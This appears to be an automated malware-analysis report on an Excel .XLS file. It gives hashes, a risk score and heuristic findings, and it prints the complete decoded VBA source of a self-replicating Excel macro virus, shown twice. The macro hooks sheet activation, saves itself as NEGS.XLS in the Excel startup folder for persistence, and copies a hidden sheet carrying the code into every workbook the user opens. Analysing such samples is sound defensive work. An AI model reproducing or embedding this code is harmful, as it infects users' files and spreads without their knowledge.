Office (OLE) / .XLS malware analysis — malicious · d5ea6e03dc448d3e

MALICIOUS

Office (OLE) / .XLS

30.5 KB Created: 2024-11-21 03:56:09 First seen: 2026-06-17

MD5: 71bffbefd3d307a7a5f290713faa1d41 SHA-1: ec693b5d54a81c440363919a70f27ee233534104 SHA-256: d5ea6e03dc448d3ef2bf4b0e076ace436c48c336f3debd65115bb833826a7fc9

108 Risk Score

Heuristics 4

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE

The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
Matched line in script
```
    ChDir Application.StartupPath
```
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER

The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
Matched line in script
```
    Application.OnSheetActivate = "check_files"
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub auto_open()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2348 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2348 bytes
SHA-256: `ed5e6f56dafab5ffe88ea301dd775c53f6c6afc7841959fb75caa6d5e6b0844f`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "foxz" Sub auto_open() Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14" Application.OnSheetActivate = "check_files" End Sub Sub check_files() Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14" c$ = Application.StartupPath m$ = Dir(c$ & "\" & "NEGS.XLS") If m$ = "NEGS.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 Select Case whichfile Case 10 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name Sheets("foxz").Visible = True Sheets("foxz").Select Sheets("foxz").Copy With ActiveWorkbook .title = "" .Subject = "" .Author = "" .Keywords = "" .Comments = "infected by NEG Promo!" End With newname$ = ActiveWorkbook.Name c4$ = CurDir() ChDir Application.StartupPath ActiveWindow.Visible = False Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _ , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _ False, CreateBackup:=False ChDir c4$ Workbooks(n4$).Sheets("foxz").Visible = False Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "NEGS.XLS!check_files" Case 1 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path s$ = Workbooks(n4$).Sheets(1).Name If s$ <> "foxz" Then Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1) Workbooks(n4$).Sheets("foxz").Visible = False Else End If Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "NEGS.XLS!check_files" Case Else End Select End Sub

SHA-256: ed5e6f56dafab5ffe88ea301dd775c53f6c6afc7841959fb75caa6d5e6b0844f

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "foxz"


Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "NEGS.XLS")
    If m$ = "NEGS.XLS" Then p = 1 Else p = 0
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("foxz").Visible = True
    Sheets("foxz").Select
    Sheets("foxz").Copy
    With ActiveWorkbook
        .title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = "infected by NEG Promo!"
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("foxz").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "foxz" Then
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("foxz").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case Else
End Select
End Sub

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